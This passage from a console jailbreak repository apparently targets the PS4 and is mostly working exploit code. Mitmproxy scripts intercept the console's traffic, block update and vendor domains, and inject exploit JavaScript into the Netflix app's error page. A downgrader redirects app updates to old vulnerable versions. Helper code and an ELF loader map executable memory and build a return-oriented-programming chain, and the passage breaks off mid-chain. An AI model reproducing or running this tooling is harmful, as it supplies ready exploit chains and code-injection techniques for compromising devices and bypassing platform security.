94 | var size_tcp_info = 0xEC;
95 |
96 | var block_fd = 0xffffffffffffffffn;
97 | var unblock_fd = 0xffffffffffffffffn;
98 | var block_id = -1n;
99 | var groom_ids = null;
100 | var sds = null;
101 | var sds_alt = null;
102 | var prev_core = -1;
103 | var prev_rtprio = 0n;
104 | var ready_signal = 0n;
105 | var deletion_signal = 0n;
106 | var pipe_buf = 0n;
107 |
108 | var saved_fpu_ctrl = 0;
109 | var saved_mxcsr = 0;
110 |
111 | function sysctlbyname(name, oldp, oldp_len, newp, newp_len) {
112 | const translate_name_mib = malloc(0x8);
113 | const buf_size = 0x70;
114 | const mib = malloc(buf_size);
115 | const size = malloc(0x8);
116 |
117 | write64_uncompressed(translate_name_mib, 0x300000000n);
118 | write64_uncompressed(size, BigInt(buf_size));
119 |
120 | const name_addr = alloc_string(name);
121 | const name_len = BigInt(name.length);
122 |
123 | if (syscall(SYSCALL.sysctl, translate_name_mib, 2n, mib, size, name_addr, name_len) === 0xffffffffffffffffn) {
124 | throw new Error("failed to translate sysctl name to mib (" + name + ")");
125 | }
126 |
127 | if (syscall(SYSCALL.sysctl, mib, 2n, oldp, oldp_len, newp, newp_len) === 0xffffffffffffffffn) {
128 | return false;
129 | }
130 |
131 | return true;
132 | }
133 |
--------------------------------------------------------------------------------
/PS4/proxy.py:
--------------------------------------------------------------------------------
1 | from mitmproxy import http
2 | from mitmproxy.proxy.layers import tls
3 | import os
4 |
5 | # Load blocked domains from hosts.txt
6 | BLOCKED_DOMAINS = set()
7 |
8 | def load_blocked_domains():
9 | """Load domains from hosts.txt file"""
10 | global BLOCKED_DOMAINS
11 | hosts_path = os.path.join(os.path.dirname(__file__), "../hosts.txt")
12 |
13 | try:
14 | with open(hosts_path, "r") as f:
15 | for line in f:
16 | line = line.strip()
17 | # Skip empty lines and comments
18 | if line and not line.startswith("#"):
19 | # Extract domain (handle format: "0.0.0.0 domain.com" or just "domain.com")
20 | parts = line.split()
21 | domain = parts[-1] if parts else line
22 | BLOCKED_DOMAINS.add(domain.lower())
23 | print(f"[+] Loaded {len(BLOCKED_DOMAINS)} blocked domains from hosts.txt")
24 | except FileNotFoundError:
25 | print(f"[!] WARNING: hosts.txt not found at {hosts_path}")
26 | exit()
27 | except Exception as e:
28 | print(f"[!] ERROR loading hosts.txt: {e}")
29 |
30 | # Load domains when script initializes
31 | load_blocked_domains()
32 |
33 | def is_blocked(hostname: str) -> bool:
34 | """Check if hostname matches any blocked domain"""
35 | hostname_lower = hostname.lower()
36 | for blocked in BLOCKED_DOMAINS:
37 | if blocked in hostname_lower:
38 | return True
39 | return False
40 |
41 | def tls_clienthello(data: tls.ClientHelloData) -> None:
42 | if data.context.server.address:
43 | hostname = data.context.server.address[0]
44 |
45 | # Block domains at TLS layer
46 | if is_blocked(hostname):
47 | raise ConnectionRefusedError(f"[*] Blocked HTTPS connection to: {hostname}")
48 |
49 |
50 | def request(flow: http.HTTPFlow) -> None:
51 | """Handle HTTP/HTTPS requests after TLS handshake"""
52 | hostname = flow.request.pretty_host
53 |
54 | # Special handling for Netflix - corrupt the response
55 | if "netflix" in hostname:
56 | flow.response = http.Response.make(
57 | 200,
58 | b"uwu", # probably don't need this many uwus. just corrupt the response
59 | {"Content-Type": "application/x-msl+json"}
60 | )
61 | print(f"[*] Corrupted Netflix response for: {hostname}")
62 | return
63 |
64 | # Block other domains from hosts.txt
65 | if is_blocked(hostname):
66 | flow.response = http.Response.make(
67 | 404,
68 | b"uwu",
69 | )
70 | print(f"[*] Blocked HTTP request to: {hostname}")
71 | return
72 |
73 | # Map error text js to inject_auto_bundle.js (auto-runs lapse + binloader)
74 | if "/js/common/config/text/config.text.lruderrorpage" in flow.request.path:
75 | inject_path = os.path.join(os.path.dirname(__file__), "inject_auto_bundle.js")
76 | print(f"[*] Injecting JavaScript from: {inject_path}")
77 |
78 | try:
79 | with open(inject_path, "rb") as f:
80 | content = f.read()
81 | print(f"[+] Loaded {len(content)} bytes from inject_auto_bundle.js")
82 | flow.response = http.Response.make(
83 | 200,
84 | content,
85 | {"Content-Type": "application/javascript"}
86 | )
87 | except FileNotFoundError:
88 | print(f"[!] ERROR: inject_auto_bundle.js not found at {inject_path}")
89 | print(f"[!] Run ./bundle_auto.sh to generate it")
90 | flow.response = http.Response.make(
91 | 404,
92 | b"File not found: inject_auto_bundle.js - run ./bundle_auto.sh",
93 | {"Content-Type": "text/plain"}
94 | )
95 |
96 |
97 | if "/js/lapse.js" in flow.request.path:
98 | inject_path = os.path.join(os.path.dirname(__file__), "payloads", "lapse.js")
99 | print(f"[*] Injecting JavaScript from: {inject_path}")
100 |
101 | try:
102 | with open(inject_path, "rb") as f:
103 | content = f.read()
104 | print(f"[+] Loaded {len(content)} bytes from lapse.js")
105 | flow.response = http.Response.make(
106 | 200,
107 | content,
108 | {"Content-Type": "application/javascript"}
109 | )
110 | except FileNotFoundError:
111 | print(f"[!] ERROR: lapse.js not found at {inject_path}")
112 | flow.response = http.Response.make(
113 | 404,
114 | b"File not found: 1_lapse_prepare_1.js",
115 | {"Content-Type": "text/plain"}
116 | )
117 |
118 |
119 |
--------------------------------------------------------------------------------
/PS4/downgrader.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | # based on https://github.com/Ailyth99/RewindPS4
4 |
5 |
6 | from mitmproxy import http
7 | from mitmproxy.proxy.layers import tls
8 | import os
9 | import logging
10 | from mitmproxy.addonmanager import Loader
11 | from mitmproxy.log import ALERT
12 |
13 | logger = logging.getLogger(__name__)
14 |
15 | # Load blocked domains from hosts.txt
16 | BLOCKED_DOMAINS = set()
17 |
18 | def load_blocked_domains():
19 | """Load domains from hosts.txt file"""
20 | global BLOCKED_DOMAINS
21 | hosts_path = os.path.join(os.path.dirname(__file__), "../hosts.txt")
22 |
23 | try:
24 | with open(hosts_path, "r") as f:
25 | for line in f:
26 | line = line.strip()
27 | # Skip empty lines and comments
28 | if line and not line.startswith("#"):
29 | # Extract domain (handle format: "0.0.0.0 domain.com" or just "domain.com")
30 | parts = line.split()
31 | domain = parts[-1] if parts else line
32 | BLOCKED_DOMAINS.add(domain.lower())
33 | logger.info(f"[+] Loaded {len(BLOCKED_DOMAINS)} blocked domains from hosts.txt")
34 | except FileNotFoundError:
35 | logger.info(f"[!] WARNING: hosts.txt not found at {hosts_path}")
36 | exit()
37 | except Exception as e:
38 | logger.info(f"[!] ERROR loading hosts.txt: {e}")
39 |
40 | # Load domains when script initializes
41 | load_blocked_domains()
42 |
43 | def is_blocked(hostname: str) -> bool:
44 | """Check if hostname matches any blocked domain"""
45 | hostname_lower = hostname.lower()
46 | for blocked in BLOCKED_DOMAINS:
47 | if blocked in hostname_lower:
48 | return True
49 | return False
50 |
51 | def tls_clienthello(data: tls.ClientHelloData) -> None:
52 | if data.context.server.address:
53 | hostname = data.context.server.address[0]
54 |
55 | # Block domains at TLS layer
56 | if is_blocked(hostname):
57 | #flow.kill()
58 | logger.info(f"[*] Blocked HTTPS connection to: {hostname}")
59 | raise ConnectionRefusedError(f"[*] Blocked HTTPS connection to: {hostname}")
60 | else:
61 | pass
62 | data.ignore_connection = True
63 |
64 |
65 | def request(flow: http.HTTPFlow) -> None:
66 | """Handle HTTP/HTTPS requests after TLS handshake"""
67 | hostname = flow.request.pretty_host
68 |
69 | # Check for downgrade redirect (HTTP only)
70 | # Downgrade target
71 | EU_REDIRECT = "http://gs2.ww.prod.dl.playstation.net/gs2/ppkgo/prod/CUSA00127_00/108/f_2c294dc5a28917366a122cd32c2d03d000eb2aa27fe651231aaaf143ced665fd/f/EP4350-CUSA00127_00-NETFLIXPOLLUX001-A0153-V0100.json"
72 | US_REDIRECT = "http://gs2.ww.prod.dl.playstation.net/gs2/ppkgo/prod/CUSA00129_00/185/f_624fc32fe1d54c3062691b7ed42e78ab0c2bbbc73379a53f92fbff4b619d763a/f/UT0007-CUSA00129_00-NETFLIXPOLLUX001-A0153-V0100.json"
73 | JP_REDIRECT = "http://gs2.ww.prod.dl.playstation.net/gs2/ppkgo/prod/CUSA02988_00/104/f_9e6144c11eab87b3ebf340cce86ae456a135e80f848ead1185eb7a3ec19f0abe/f/JA0010-CUSA02988_00-NETFLIXPOLLUX001-A0153-V0100.json"
74 | nflix_cusas = ["CUSA00127", "CUSA00129", "CUSA02988"]
75 |
76 | if flow.request.scheme == "http" and "gs2.ww.prod.dl.playstation.net" in flow.request.pretty_url:
77 | if nflix_cusas[0] in flow.request.pretty_url and ".json" in flow.request.pretty_url:
78 |
79 | logger.info(f"[REDIRECT][CUSA00127] {flow.request.pretty_url}")
80 | logger.info(f" -> {EU_REDIRECT}")
81 | flow.request.url = EU_REDIRECT
82 |
83 | elif nflix_cusas[1] in flow.request.pretty_url and ".json" in flow.request.pretty_url:
84 | logger.info(f"[REDIRECT][CUSA00129] {flow.request.pretty_url}")
85 | logger.info(f" -> {US_REDIRECT}")
86 | flow.request.url = US_REDIRECT
87 |
88 | elif nflix_cusas[2] in flow.request.pretty_url and ".json" in flow.request.pretty_url:
89 | logger.info(f"[REDIRECT][CUSA02988] {flow.request.pretty_url}")
90 | logger.info(f" -> {JP_REDIRECT}")
91 | flow.request.url = JP_REDIRECT
92 |
93 | elif ".pkg" in flow.request.pretty_url:
94 | if nflix_cusas[0] in flow.request.pretty_url or nflix_cusas[1] in flow.request.pretty_url or nflix_cusas[2] in flow.request.pretty_url:
95 | flow.comment = "PKG ALLOWED"
96 | else:
97 | flow.comment = f"PKG BLOCKED - no matching CUSA"
98 | pass
99 | else:
100 | flow.response = http.Response.make(
101 | 200,
102 | b"uwu", # probably don't need this many uwus. just corrupt the response
103 | {"Content-Type": "application/x-msl+json"}
104 | )
105 |
106 | logger.info(f"[*] Corrupted Game update response for: {hostname}")
107 |
108 | return
109 |
110 | # Block other domains from hosts.txt
111 | if is_blocked(hostname):
112 | flow.response = http.Response.make(
113 | 404,
114 | b"uwu",
115 | )
116 | logger.info(f"[*] Blocked HTTP request to: {hostname}")
117 | return
118 |
--------------------------------------------------------------------------------
/PS4/payloads/lapse/misc.js:
--------------------------------------------------------------------------------
1 | function find_pattern(buffer, pattern_string) {
2 | const parts = pattern_string.split(' ');
3 | const matches = [];
4 |
5 | for (let i = 0; i <= buffer.length - parts.length; i++) {
6 | let match = true;
7 |
8 | for (let j = 0; j < parts.length; j++) {
9 | if (parts[j] === '?') continue;
10 | if (buffer[i + j] !== parseInt(parts[j], 16)) {
11 | match = false;
12 | break;
13 | }
14 | }
15 |
16 | if (match) matches.push(i);
17 | }
18 |
19 | return matches;
20 | }
21 |
22 | function get_fwversion() {
23 | const buf = malloc(0x8);
24 | const size = malloc(0x8);
25 | write64_uncompressed(size, 0x8n);
26 |
27 | if (sysctlbyname("kern.sdk_version", buf, size, 0n, 0n)) {
28 | const byte1 = Number(read8_uncompressed(buf + 2n)); // Minor version (first byte)
29 | const byte2 = Number(read8_uncompressed(buf + 3n)); // Major version (second byte)
30 |
31 | const version = byte2.toString(16) + '.' + byte1.toString(16).padStart(2, '0');
32 | return version;
33 | }
34 |
35 | return null;
36 | }
37 |
38 | function create_pipe() {
39 | const fildes = malloc(0x10);
40 |
41 | logger.log(" create_pipe: calling pipe syscall...");
42 | logger.flush();
43 |
44 | // Use the standard syscall() function from inject.js
45 | const result = syscall(SYSCALL.pipe, fildes);
46 |
47 | logger.log(" create_pipe: pipe returned " + hex(result));
48 | logger.flush();
49 |
50 | if (result === 0xffffffffffffffffn) {
51 | throw new Error("pipe syscall failed");
52 | }
53 |
54 | const read_fd = read32_uncompressed(fildes);
55 | const write_fd = read32_uncompressed(fildes + 4n);
56 | logger.log(" create_pipe: read_fd=" + hex(read_fd) + " write_fd=" + hex(write_fd));
57 | logger.flush();
58 | return [read_fd, write_fd];
59 | }
60 |
61 | function read_buffer(addr, len) {
62 | const buffer = new Uint8Array(len);
63 | for (let i = 0; i < len; i++) {
64 | buffer[i] = Number(read8_uncompressed(addr + BigInt(i)));
65 | }
66 | return buffer;
67 | }
68 |
69 | function read_cstring(addr) {
70 | let str = "";
71 | let i = 0n;
72 | while (true) {
73 | const c = Number(read8_uncompressed(addr + i));
74 | if (c === 0) break;
75 | str += String.fromCharCode(c);
76 | i++;
77 | if (i > 256n) break; // Safety limit
78 | }
79 | return str;
80 | }
81 |
82 | function write_buffer(addr, buffer) {
83 | for (let i = 0; i < buffer.length; i++) {
84 | write8_uncompressed(addr + BigInt(i), buffer[i]);
85 | }
86 | }
87 |
88 | function get_nidpath() {
89 | const path_buffer = malloc(0x255);
90 | const len_ptr = malloc(8);
91 |
92 | write64_uncompressed(len_ptr, 0x255n);
93 |
94 | const ret = syscall(SYSCALL.randomized_path, 0n, path_buffer, len_ptr);
95 | if (ret === 0xffffffffffffffffn) {
96 | throw new Error("randomized_path failed : " + hex(ret));
97 | }
98 |
99 | return read_cstring(path_buffer);
100 | }
101 |
102 | function nanosleep(nsec) {
103 | const timespec = malloc(0x10);
104 | write64_uncompressed(timespec, BigInt(Math.floor(nsec / 1e9))); // tv_sec
105 | write64_uncompressed(timespec + 8n, BigInt(nsec % 1e9)); // tv_nsec
106 | syscall(SYSCALL.nanosleep, timespec);
107 | }
108 |
109 | function is_jailbroken() {
110 | const cur_uid = syscall(SYSCALL.getuid);
111 | const is_in_sandbox = syscall(SYSCALL.is_in_sandbox);
112 | if (cur_uid === 0n && is_in_sandbox === 0n) {
113 | return true;
114 | } else {
115 |
116 | // Check if elfldr is running at 9021
117 | const sockaddr_in = malloc(16);
118 | const enable = malloc(4);
119 |
120 | const sock_fd = syscall(SYSCALL.socket, AF_INET, SOCK_STREAM, 0n);
121 | if (sock_fd === 0xffffffffffffffffn) {
122 | throw new Error("socket failed: " + hex(sock_fd));
123 | }
124 |
125 | try {
126 | write32_uncompressed(enable, 1);
127 | syscall(SYSCALL.setsockopt, sock_fd, SOL_SOCKET, SO_REUSEADDR, enable, 4n);
128 |
129 | write8_uncompressed(sockaddr_in + 1n, AF_INET);
130 | write16_uncompressed(sockaddr_in + 2n, 0x3D23n); // port 9021
131 | write32_uncompressed(sockaddr_in + 4n, 0x0100007Fn); // 127.0.0.1
132 |
133 | // Try to connect to 127.0.0.1:9021
134 | const ret = syscall(SYSCALL.connect, sock_fd, sockaddr_in, 16n);
135 |
136 | if (ret === 0n) {
137 | syscall(SYSCALL.close, sock_fd);
138 | return true;
139 | } else {
140 | syscall(SYSCALL.close, sock_fd);
141 | return false;
142 | }
143 | } catch (e) {
144 | syscall(SYSCALL.close, sock_fd);
145 | return false;
146 | }
147 | }
148 | }
149 |
150 | function check_jailbroken() {
151 | if (!is_jailbroken()) {
152 | throw new Error("process is not jailbroken")
153 | }
154 | }
155 |
156 | function file_exists(path) {
157 | const path_addr = alloc_string(path);
158 | const fd = syscall(SYSCALL.open, path_addr, O_RDONLY);
159 |
160 | if (fd !== 0xffffffffffffffffn) {
161 | syscall(SYSCALL.close, fd);
162 | return true;
163 | } else {
164 | return false;
165 | }
166 | }
167 |
168 | function write_file(path, text) {
169 | const mode = 0x1ffn; // 777
170 | const path_addr = alloc_string(path);
171 | const data_addr = alloc_string(text);
172 |
173 | const flags = O_CREAT | O_WRONLY | O_TRUNC;
174 | const fd = syscall(SYSCALL.open, path_addr, flags, mode);
175 |
176 | if (fd === 0xffffffffffffffffn) {
177 | throw new Error("open failed for " + path + " fd: " + hex(fd));
178 | }
179 |
180 | const written = syscall(SYSCALL.write, fd, data_addr, BigInt(text.length));
181 | if (written === 0xffffffffffffffffn) {
182 | syscall(SYSCALL.close, fd);
183 | throw new Error("write failed : " + hex(written));
184 | }
185 |
186 | syscall(SYSCALL.close, fd);
187 | return Number(written); // number of bytes written
188 | }
189 |
--------------------------------------------------------------------------------
/proxy.py:
--------------------------------------------------------------------------------
1 | from mitmproxy import http
2 | from mitmproxy.proxy.layers import tls
3 | import os
4 |
5 | # Load blocked domains from hosts.txt
6 | BLOCKED_DOMAINS = set()
7 |
8 | def load_blocked_domains():
9 | """Load domains from hosts.txt file"""
10 | global BLOCKED_DOMAINS
11 | hosts_path = os.path.join(os.path.dirname(__file__), "hosts.txt")
12 |
13 | try:
14 | with open(hosts_path, "r") as f:
15 | for line in f:
16 | line = line.strip()
17 | # Skip empty lines and comments
18 | if line and not line.startswith("#"):
19 | # Extract domain (handle format: "0.0.0.0 domain.com" or just "domain.com")
20 | parts = line.split()
21 | domain = parts[-1] if parts else line
22 | BLOCKED_DOMAINS.add(domain.lower())
23 | print(f"[+] Loaded {len(BLOCKED_DOMAINS)} blocked domains from hosts.txt")
24 | except FileNotFoundError:
25 | print(f"[!] WARNING: hosts.txt not found at {hosts_path}")
26 | except Exception as e:
27 | print(f"[!] ERROR loading hosts.txt: {e}")
28 |
29 | # Load domains when script initializes
30 | load_blocked_domains()
31 |
32 | def is_blocked(hostname: str) -> bool:
33 | """Check if hostname matches any blocked domain"""
34 | hostname_lower = hostname.lower()
35 | for blocked in BLOCKED_DOMAINS:
36 | if blocked in hostname_lower:
37 | return True
38 | return False
39 |
40 | def tls_clienthello(data: tls.ClientHelloData) -> None:
41 | if data.context.server.address:
42 | hostname = data.context.server.address[0]
43 |
44 | # Block domains at TLS layer
45 | if is_blocked(hostname):
46 | raise ConnectionRefusedError(f"[*] Blocked HTTPS connection to: {hostname}")
47 |
48 |
49 | def request(flow: http.HTTPFlow) -> None:
50 | """Handle HTTP/HTTPS requests after TLS handshake"""
51 | hostname = flow.request.pretty_host
52 |
53 | # Special handling for Netflix - corrupt the response
54 | if "netflix" in hostname:
55 | flow.response = http.Response.make(
56 | 200,
57 | b"uwu", # probably don't need this many uwus. just corrupt the response
58 | {"Content-Type": "application/x-msl+json"}
59 | )
60 | print(f"[*] Corrupted Netflix response for: {hostname}")
61 | return
62 |
63 | # Block other domains from hosts.txt
64 | if is_blocked(hostname):
65 | flow.response = http.Response.make(
66 | 404,
67 | b"uwu",
68 | )
69 | print(f"[*] Blocked HTTP request to: {hostname}")
70 | return
71 |
72 | # Map error text js to inject.js
73 | if "/js/common/config/text/config.text.lruderrorpage" in flow.request.path:
74 | inject_path = os.path.join(os.path.dirname(__file__), "inject_elfldr_automated.js")
75 | print(f"[*] Injecting JavaScript from: {inject_path}")
76 |
77 | try:
78 | with open(inject_path, "rb") as f:
79 | content = f.read()
80 | print(f"[+] Loaded {len(content)} bytes from inject.js")
81 | flow.response = http.Response.make(
82 | 200,
83 | content,
84 | {"Content-Type": "application/javascript"}
85 | )
86 | except FileNotFoundError:
87 | print(f"[!] ERROR: inject.js not found at {inject_path}")
88 | flow.response = http.Response.make(
89 | 404,
90 | b"File not found: inject.js",
91 | {"Content-Type": "text/plain"}
92 | )
93 |
94 |
95 | if "/js/lapse.js" in flow.request.path:
96 | inject_path = os.path.join(os.path.dirname(__file__), "payloads", "lapse.js")
97 | print(f"[*] Injecting JavaScript from: {inject_path}")
98 |
99 | try:
100 | with open(inject_path, "rb") as f:
101 | content = f.read()
102 | print(f"[+] Loaded {len(content)} bytes from lapse.js")
103 | flow.response = http.Response.make(
104 | 200,
105 | content,
106 | {"Content-Type": "application/javascript"}
107 | )
108 | except FileNotFoundError:
109 | print(f"[!] ERROR: lapse.js not found at {inject_path}")
110 | flow.response = http.Response.make(
111 | 404,
112 | b"File not found: 1_lapse_prepare_1.js",
113 | {"Content-Type": "text/plain"}
114 | )
115 |
116 | if "/js/elf_loader.js" in flow.request.path:
117 | inject_path = os.path.join(os.path.dirname(__file__), "payloads", "elf_loader.js")
118 | print(f"[*] Injecting JavaScript from: {inject_path}")
119 |
120 | try:
121 | with open(inject_path, "rb") as f:
122 | content = f.read()
123 | print(f"[+] Loaded {len(content)} bytes from elf_loader.js")
124 | flow.response = http.Response.make(
125 | 200,
126 | content,
127 | {"Content-Type": "application/javascript"}
128 | )
129 | except FileNotFoundError:
130 | print(f"[!] ERROR: lapse.js not found at {inject_path}")
131 | flow.response = http.Response.make(
132 | 404,
133 | b"File not found: elf_loader.js",
134 | {"Content-Type": "text/plain"}
135 | )
136 | # Map elfldr.elf to elfldr.elf (binary)
137 | if "/js/elfldr.elf" in flow.request.path:
138 | inject_path = os.path.join(os.path.dirname(__file__), "payloads", "elfldr.elf")
139 | print(f"[*] Injecting JavaScript from: {inject_path}")
140 |
141 | try:
142 | with open(inject_path, "rb") as f:
143 | content = f.read()
144 | print(f"[+] Loaded {len(content)} bytes from elfldr.elf")
145 | flow.response = http.Response.make(
146 | 200,
147 | content,
148 | {"Content-Type": "application/javascript"}
149 | )
150 | except FileNotFoundError:
151 | print(f"[!] ERROR: elfldr.elf not found at {inject_path}")
152 | flow.response = http.Response.make(
153 | 404,
154 | b"File not found: elfldr.elf",
155 | {"Content-Type": "text/plain"}
156 | )
157 |
158 |
159 | if "/js/ps4/inject_auto_bundle.js" in flow.request.path:
160 | inject_path = os.path.join(os.path.dirname(__file__), "PS4", "inject_auto_bundle.js")
161 | print(f"[*] Injecting JavaScript from: {inject_path}")
162 |
163 | try:
164 | with open(inject_path, "rb") as f:
165 | content = f.read()
166 | print(f"[+] Loaded {len(content)} bytes from inject_auto_bundle.js")
167 | flow.response = http.Response.make(
168 | 200,
169 | content,
170 | {"Content-Type": "application/javascript"}
171 | )
172 | except FileNotFoundError:
173 | print(f"[!] ERROR: inject_auto_bundle.js not found at {inject_path}")
174 | flow.response = http.Response.make(
175 | 404,
176 | b"File not found: inject_auto_bundle.js",
177 | {"Content-Type": "text/plain"}
178 | )
179 |
--------------------------------------------------------------------------------
/payloads/elf_loader.js:
--------------------------------------------------------------------------------
1 | // https://github.com/shahrilnet/remote_lua_loader/blob/main/payloads/elf_loader.lua
2 | // Only expected to load john tornblom's elfldr.elf
3 | // credit to nullptr for porting to lua and specter for the original code
4 | // credit to c0w-ar for isolating rop chain to improve stability
5 |
6 | const ELF_SHADOW_MAPPING_ADDR = 0x920100000n;
7 | const ELF_MAPPING_ADDR = 0x926100000n;
8 |
9 | async function elf_parse(elf_store) {
10 |
11 | // ELF sizes and offsets
12 | const SIZE_ELF_HEADER = 0x40n;
13 | const SIZE_ELF_PROGRAM_HEADER = 0x38n;
14 | const SIZE_ELF_SECTION_HEADER = 0x40n;
15 |
16 | const OFFSET_ELF_HEADER_ENTRY = 0x18n;
17 | const OFFSET_ELF_HEADER_PHOFF = 0x20n;
18 | const OFFSET_ELF_HEADER_SHOFF = 0x28n;
19 | const OFFSET_ELF_HEADER_PHNUM = 0x38n;
20 | const OFFSET_ELF_HEADER_SHNUM = 0x3cn;
21 |
22 | const OFFSET_PROGRAM_HEADER_TYPE = 0x00n;
23 | const OFFSET_PROGRAM_HEADER_FLAGS = 0x04n;
24 | const OFFSET_PROGRAM_HEADER_OFFSET = 0x08n;
25 | const OFFSET_PROGRAM_HEADER_VADDR = 0x10n;
26 | const OFFSET_PROGRAM_HEADER_FILESZ = 0x20n;
27 | const OFFSET_PROGRAM_HEADER_MEMSZ = 0x28n;
28 |
29 | const OFFSET_SECTION_HEADER_TYPE = 0x4n;
30 | const OFFSET_SECTION_HEADER_OFFSET = 0x18n;
31 | const OFFSET_SECTION_HEADER_SIZE = 0x20n;
32 |
33 | const OFFSET_RELA_OFFSET = 0x00n;
34 | const OFFSET_RELA_INFO = 0x08n;
35 | const OFFSET_RELA_ADDEND = 0x10n;
36 |
37 | const RELA_ENTSIZE = 0x18n;
38 |
39 | // Allocate memory for ELF data and copy it
40 | const elf_entry = read64_uncompressed(elf_store + OFFSET_ELF_HEADER_ENTRY);
41 | const elf_entry_point = ELF_MAPPING_ADDR + elf_entry;
42 |
43 | const elf_program_headers_offset = read64_uncompressed(elf_store + OFFSET_ELF_HEADER_PHOFF);
44 | const elf_program_headers_num = read16_uncompressed(elf_store + OFFSET_ELF_HEADER_PHNUM);
45 |
46 | const elf_section_headers_offset = read64_uncompressed(elf_store + OFFSET_ELF_HEADER_SHOFF);
47 | const elf_section_headers_num = read16_uncompressed(elf_store + OFFSET_ELF_HEADER_SHNUM);
48 |
49 | let executable_start = 0n;
50 | let executable_end = 0n;
51 |
52 | // Parse program headers
53 | for (let i = 0n; i < elf_program_headers_num; i++) {
54 | const phdr_offset = elf_program_headers_offset + (i * SIZE_ELF_PROGRAM_HEADER);
55 | const p_type = read32_uncompressed(elf_store + phdr_offset + OFFSET_PROGRAM_HEADER_TYPE);
56 | const p_flags = read32_uncompressed(elf_store + phdr_offset + OFFSET_PROGRAM_HEADER_FLAGS);
57 | const p_offset = read64_uncompressed(elf_store + phdr_offset + OFFSET_PROGRAM_HEADER_OFFSET);
58 | const p_vaddr = read64_uncompressed(elf_store + phdr_offset + OFFSET_PROGRAM_HEADER_VADDR);
59 | const p_filesz = read64_uncompressed(elf_store + phdr_offset + OFFSET_PROGRAM_HEADER_FILESZ);
60 | const p_memsz = read64_uncompressed(elf_store + phdr_offset + OFFSET_PROGRAM_HEADER_MEMSZ);
61 | const aligned_memsz = (p_memsz + 0x3FFFn) & 0xFFFFC000n;
62 |
63 | if (p_type === 0x01n) {
64 | const PROT_RW = PROT_READ | PROT_WRITE;
65 | const PROT_RWX = PROT_READ | PROT_WRITE | PROT_EXEC;
66 |
67 | if ((p_flags & 0x1n) === 0x1n) {
68 | executable_start = p_vaddr;
69 | executable_end = p_vaddr + p_memsz;
70 |
71 | // Create shm with exec permission
72 | const exec_handle = syscall(SYSCALL.jitshm_create, 0n, aligned_memsz, 0x7n);
73 |
74 | // Create shm alias with write permission
75 | const write_handle = syscall(SYSCALL.jitshm_alias, exec_handle, 0x3n);
76 |
77 | // Map shadow mapping and write into it
78 | syscall(SYSCALL.mmap, ELF_SHADOW_MAPPING_ADDR, aligned_memsz,
79 | PROT_RW, 0x11n, write_handle, 0n);
80 |
81 | // Copy data to shadow mapping
82 | for (let j = 0n; j < p_memsz; j++) {
83 | const byte = read8_uncompressed(elf_store + p_offset + j);
84 | write8_uncompressed(ELF_SHADOW_MAPPING_ADDR + j, byte);
85 | }
86 |
87 | // Map executable segment
88 | syscall(SYSCALL.mmap, ELF_MAPPING_ADDR + p_vaddr, aligned_memsz,
89 | PROT_RWX, 0x11n, exec_handle, 0n);
90 | } else {
91 |
92 | // Copy regular data segment
93 | syscall(SYSCALL.mmap, ELF_MAPPING_ADDR + p_vaddr, aligned_memsz,
94 | PROT_RW, 0x1012n, 0xFFFFFFFFn, 0n);
95 |
96 | // Copy data
97 | for (let j = 0n; j < p_memsz; j++) {
98 | const byte = read8_uncompressed(elf_store + p_offset + j);
99 | write8_uncompressed(ELF_MAPPING_ADDR + p_vaddr + j, byte);
100 | }
101 | }
102 | }
103 | }
104 |
105 | // Apply relocations
106 | for (let i = 0n; i < elf_section_headers_num; i++) {
107 | const shdr_offset = elf_section_headers_offset + (i * SIZE_ELF_SECTION_HEADER);
108 |
109 | const sh_type = read32_uncompressed(elf_store + shdr_offset + OFFSET_SECTION_HEADER_TYPE);
110 | const sh_offset = read64_uncompressed(elf_store + shdr_offset + OFFSET_SECTION_HEADER_OFFSET);
111 | const sh_size = read64_uncompressed(elf_store + shdr_offset + OFFSET_SECTION_HEADER_SIZE);
112 |
113 | if (sh_type === 0x4n) {
114 | const rela_table_count = sh_size / RELA_ENTSIZE;
115 |
116 | // Parse relocs and apply them
117 | for (let j = 0n; j < rela_table_count; j++) {
118 | const rela_entry_offset = sh_offset + j * RELA_ENTSIZE;
119 | const r_offset = read64_uncompressed(elf_store + rela_entry_offset + OFFSET_RELA_OFFSET);
120 | const r_info = read64_uncompressed(elf_store + rela_entry_offset + OFFSET_RELA_INFO);
121 | const r_addend = read64_uncompressed(elf_store + rela_entry_offset + OFFSET_RELA_ADDEND);
122 |
123 | if ((r_info & 0xFFn) === 0x08n) {
124 | let reloc_addr = ELF_MAPPING_ADDR + r_offset;
125 | const reloc_value = ELF_MAPPING_ADDR + r_addend;
126 |
127 | // If the relocation falls in the executable section, we need to redirect the write to the
128 | // writable shadow mapping or we'll crash
129 | if (r_offset >= executable_start && r_offset < executable_end) {
130 | reloc_addr = ELF_SHADOW_MAPPING_ADDR + r_offset;
131 | }
132 |
133 | write64_uncompressed(reloc_addr, reloc_value);
134 | }
135 | }
136 | }
137 | }
138 | return elf_entry_point;
139 | }
140 |
141 |
142 |
143 | function spawn_thread_and_wait(thr_handle_addr, elf_entry_point, args, timespec_addr) {
144 |
145 | // Get PID using syscall primitive lol
146 | const pid = syscall(SYSCALL.getpid);
147 |
148 | write64(add_rop_smash_code_store, 0xab0025n);
149 | real_rbp = addrof(rop_smash(1)) + 0x700000000n + 1n;
150 |
151 | let i = 0;
152 |
153 | // Arguments for thread creation
154 | fake_rop[i++] = g.get('pop_rdi');
155 | fake_rop[i++] = thr_handle_addr;
156 | fake_rop[i++] = g.get('pop_rsi');
157 | fake_rop[i++] = elf_entry_point;
158 | fake_rop[i++] = g.get('pop_rdx');
159 | fake_rop[i++] = args;
160 | fake_rop[i++] = g.get('pop_rcx');
161 | fake_rop[i++] = 0n;
162 | fake_rop[i++] = g.get('pop_r8');
163 | fake_rop[i++] = 0n;
164 | fake_rop[i++] = g.get('pop_r9');
165 | fake_rop[i++] = 0n;
166 |
167 | // Create Thread
168 | fake_rop[i++] = Thrd_create;
169 |
170 | // Nanosleep syscall
171 | fake_rop[i++] = g.get('pop_rdi');
172 | fake_rop[i++] = timespec_addr;
173 | fake_rop[i++] = g.get('pop_rsi');
174 | fake_rop[i++] = 0n;
175 | fake_rop[i++] = g.get('pop_rax');
176 | fake_rop[i++] = 0xf0n;
177 | fake_rop[i++] = syscall_wrapper;
178 |
179 | // Kill process
180 | fake_rop[i++] = g.get('pop_rdi');
181 | fake_rop[i++] = pid;
182 | fake_rop[i++] = g.get('pop_rsi');
183 | fake_rop[i++] = 9n; // SIGKILL
